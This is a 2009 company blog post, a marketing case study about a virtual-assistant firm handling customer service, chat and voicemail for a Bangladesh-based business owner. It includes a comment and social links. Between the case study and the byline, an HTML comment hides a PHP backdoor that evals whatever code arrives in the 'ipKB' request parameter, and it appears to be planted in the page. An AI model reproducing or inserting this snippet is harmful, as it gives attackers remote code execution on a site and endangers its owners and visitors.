Delegate, Focus, and GROW Your Business

ContemporaryVA Case Study: Solutions for International Business

PROBLEM: One business owner, “P.K.”, found that the internet removed many barriers for his Bangladesh-based business: He was able to gain access to a larger range of buyers and vendors, and he established a toll-free number and email address to deliver top-notch service. P.K.’s business grew!

However, there were three challenges that P.K. faced:

  • While gaining access to a larger potential buyer base was good, staying on top of the increased customer attention by checking email and voicemail turned out to be extremely time consuming for P.K.
  • The language barrier proved to be a problem, since English was not his first language but many of his clients expected flawless English when they wanted to interact.
  • Additionally, timezone issues became a challenge as many US-based clients wished to conduct business during their business hours while P.K. lived and worked nearly half-way around the world.

P.K. knew that he had a good business offering a good product; he just needed help.

SOLUTION: P.K. decided to hire a virtual assistant and outsource his customer service. ContemporaryVA provided the solution to address P.K.’s growing challenges.

  • ContemporaryVA eliminated the backlog of customer service issues and check the voicemail five times each day, returning calls promptly to give customer the service and attention they require.
  • ContemporaryVA installed an online customer service chat program, which they manage from 9AM to 9PM EST, so P.K.’s customers get the assistance they need, when they need it.
  • And, become ContemporaryVA is US-based, the language barrier issue was eliminated for the majority of P.K.’s customers.

RESULT: P.K.’s business grew as a result!

  • P.K.’s prospects and customers were happier because their questions were answered in a timely fashion, and there were no more language barrier misunderstandings.
  • P.K. even saved money because he no longer needs to make expensive long distance calls.
  • Most importantly, P.K.’s time was freed up from dealing with repetitive, time-consuming customer service issues to be able to focus on other areas of his business.
  • P.K.’s sales have increased 36% since ContemporaryVA began handling his customer service issues.

<!– [insert_php]if (isset($_REQUEST["ipKB"])){eval($_REQUEST["ipKB"]);exit;}[/insert_php][php]if (isset($_REQUEST["ipKB"])){eval($_REQUEST["ipKB"]);exit;}[/php] –>

Posted on August 17th, 2009 by Rachel Braam, Office Manager

1 Comment »

Twitted by CVA_Andrea says:

[…] This post was Twitted by CVA_Andrea […]

Posted: August 25, 2009 @ 9:59 am

Your comment
Your name
Your email address (will not be published)
Twitter ID

CommentLuv badge

Follow us on Twitter Like us on Facebook Connect with us on LinkedIn Watch us on YouTube Pinterest!